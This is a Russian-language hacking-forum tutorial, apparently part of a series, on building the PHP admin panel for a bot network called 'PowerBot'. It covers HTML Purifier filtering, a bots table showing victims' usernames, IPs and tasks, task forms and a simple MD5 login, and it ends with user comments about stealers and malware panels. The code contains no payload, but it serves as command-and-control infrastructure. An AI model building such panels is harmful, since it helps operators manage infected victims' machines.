Фильтрация данных, выводимых на страницу является самой важной частью защиты от межсайтового скриптинга. Большинство кодеров, в качестве обработки строк использует функции htmlspecialchars() и/или strip_tags() с вайт листом доступных символов. Так же можно использовать связку нескольких функций, обрабатывая каждую строку, пример:
PHP:
function checkParam($param)
{
  $formatted = $param;
  $formatted = trim($formatted);
  $formatted = stripslashes($formatted);
  $formatted = htmlspecialchars($formatted);
  return $formatted;
}

Но в нашей панели мы будем использовать более продвинутое решение - библиотеку HTML Purifier. Что же делает эта библиотека?
Она очищает любой html код от всех вредоносных, невалидных, запрещенных (вашей конфигурацией) частей кода, в том числе отдельные атрибуты внутри тегов. Минусом является то, что мы сами должны определить, какие атрибуты будут недопустимы. По умолчанию библиотека также не содержит всех «стандартных атрибутов», таких как contenteditable, поэтому нам также необходимо их добавить самостоятельно.

Рассмотрим всё на примере:
Исходный код:
HTML:
<p invalidAttribute="value">Test String <strike>strike</strike>:</p>
        <script type="text/javascript">alert("xss.pro");</script>
После обработки:
HTML:
<p>Test String <span style="text-decoration:line-through;">strike</span>:</p>

Как видим, JS код был отфильтрован. Подключим эту библиотеку к нашей панели. Распакуем архив с библиотекой в папку app:
Посмотреть вложение 18247

В config.php подключаем файл HTMLPurifier.auto.php а так же создадим простую конфигурацию:
PHP:
require 'HTMLPurifier.auto.php';
    $HTMLPconfig = HTMLPurifier_Config::createDefault();
    $HTMLPconfig->set('Attr.AllowedClasses',array('header'));
    $HTMLPconfig->set('AutoFormat.AutoParagraph',true);
    $HTMLPconfig->set('AutoFormat.RemoveEmpty',true);
    $HTMLPconfig->set('HTML.Doctype','HTML 4.01 Strict');
    $purifier = new HTMLPurifier($HTMLPconfig);

Для вывода информации из бд мы будем использовать функцию purify. Вернёмся к дэшборду.

Для вывода информации мы будем использовать таблицу, а так-же воспользуемся интересным дополнением к JQuery - DataTables.
DataTables - это плагин для библиотеки jQuery. Это очень гибкий инструмент, построенный на основе прогрессивного улучшения, который добавляет следующие функции в любую HTML-таблицу: нумерация страниц и выбор кол-ва выводимых столбцов, мгновенный поиск (фильтр по тексту).

Создадим таблицу, которая выводит данные о ботах:
PHP:
<div class="row">
            <div class="col-md-12">
               <!-- Advanced Tables -->
               <div class="card">
                  <div class="card-action">
                     Bots List
                  </div>
                  <div class="card-content">
                     <div class="table-responsive">
                        <table class="table table-striped table-bordered table-hover" id="dataTables-example">
                           <thead>
                              <tr>
                                 <th>GUID</th>
                                 <th>Username \ IP</th>
                                 <th>OS</th>
                                 <th>Last Online</th>
                                 <th>Last Task</th>
                              </tr>
                           </thead>
                           <tbody>
                              <?
                                 while ($bot = $bots->fetch(PDO::FETCH_ASSOC)) {
                                     echo "<tr>
                                             <td>".$purifier->purify($bot["guid"])."</td>
                                             <td class='center'>".$purifier->purify($bot["username"]." \ ".$bot["ip"])."</td>
                                             <td>".$purifier->purify($bot["os"])."</td>
                                             <td>".$purifier->purify($bot["lastOnline"])."</td>
                                             <td>".$purifier->purify($bot["lastExTask"])."</td>
                                           </tr>";
                                 }
                                 ?>
                           </tbody>
                        </table>
                     </div>
                  </div>
               </div>
               <!--End Advanced Tables -->
            </div>
         </div>

Теперь панель выглядит примерно так:
Посмотреть вложение 18248

Подобную же таблицу создаём для тасков (фулл код будем в аттаче к статье):
Посмотреть вложение 18250

Для добавления нового задания используется Modal Form:
Посмотреть вложение 18251

На этом с главной странице закончим. Перейдём к авторизации.
Тут решил сильно не заморачиваться накидал простую форму с таким кодом:
HTML:
<?php

    session_start();

    if(isset($_POST["user"]) && isset($_POST["pass"])){
        require 'app/config.php';

        $user = $_POST["user"];
        $pass = $_POST["pass"];

        if($user == $config["usrname"] && MD5($pass) == $config["usrpass"]){
            $_SESSION["auth"] = true;
            echo "<script>location.replace('dashboard.php');</script>";
        }
    }

    if($_SESSION["auth"] == true){
        echo "<script>location.replace('dashboard.php');</script>";
    }
?>

<!DOCTYPE html>
<html>
<head>
     <title>PowerBot | Login</title>
     <meta charset="utf-8" />
</head>
<body>
     <form action="login.php" method="POST">
     <label>Login: </label>
     <input type="text" name="user">
     <br>
     <label>Passw: </label>
     <input type="password" name="pass">
     <br>
     <button type="submit">Sign-in</button>
     </form>
</body>
</html>

В остальных php файлах так-же добавляем проверку на наличие сессии. На этом всё.


Итог.
В этой части статьи мы рассмотрели пример создания простой админ-панели на PHP, так-же рассмотрели разные способы защиты от популярных уязвимостей. Возможно функционал панели немного скудноват, можно было добавить пару чартов с статистикой по ботам, или другие фичи, но конкретно эта панель являеться лишь примером. Все файлы прикреплены к посту, пароль местный.

(c) V1rtualGh0st специально для xss.pro <3.

Первая часть - https://xss.pro/threads/37391
Вторая часть - https://xss.pro/threads/45238/
молодец продолжай оч интересные статьи
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сам бэкенд на PHP, Фронт-енд на bootstrap'e4, Создание и структура БД MySQL, Разбор API для работы с БД. Их плюсы и минусы (PDO и MySQLi), Защиту от XSS и SQL-инъекций. Теперь пора бы и делом заняться.
А чем обсуловлена написание админки на php? Почему многие админки пишут на нем?
По сути, на защиту от sql, csrf, xss уходит немалое количество времени.
Сколько не видел ботов, стилеров, малвари - у всех сплошной php.

а так лайк за труд
 
А чем обсуловлена написание админки на php?
Для простоты установки, скорее всего, да и сам яп довольно простой.
По сути, на защиту от sql, csrf, xss уходит немалое количество времени.
Это да, но никто не запрещает использовать одинаковые методы в разных проектах. В основном для защиты от sql'ок и xss нужно фильтровать\обрабатывать входящие строки.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Для простоты установки, скорее всего, да и сам яп довольно простой.
Ну щас всякие докеры есть. Хотя о чем я, в блеке все отстает от трендов
Это да, но никто не запрещает использовать одинаковые методы в разных проектах. В основном для защиты от sql'ок и xss нужно фильтровать\обрабатывать входящие строки.
Ну хз, скил должен быть. По статьям Мишки у многих малварей на пыхе есть сплойты

Я например, предпочел бы джанго. Не реклама, но там забудешь навсегда про эти уязвимости, защиту и т.п.
 
А чем обсуловлена написание админки на php
Как 1 из вариантов софтов в паблик - дешевизна .
Не все захотят брать vps под тот же asp.net если можно взять обычный хостинг за 40 рублей )
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Не все захотят брать vps под тот же asp.net если можно взять обычный хостинг за 40 рублей )
Который лочат при первом же абузе...

Хотя это же паблик, не к чему удивляться
 
Ну щас всякие докеры есть. Хотя о чем я, в блеке все отстает от трендов
Докер докером, но запускать то в докере чтото надо. Багованое и дырявое потому что когда нибудь, научатся использовать фреймворки для работы с пхп, но это не точно. Инъекции, хсс, лке, рке все это давно позакрыто, сиди и делай по образу и подобию контроллеры. МОжет даже до миграций когда нибудь дело дойдет. Автору лайк за старание, но откройте уже для себя чудный мир веб фреймворков и не надо говорить "ой там куча всего ненужного, мне только авторизация нужна"
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кто то будут трудиться а другие напишут bash или петон либо голанг и будут брутить sql либо через shell красть данные.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
/del
классная статья чувак
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Эх! А могли бы просто сделать на моем движке :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
че за движок такой твой? =)
Отпиши в пм)) а то сейчас подумают что рекламирую)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх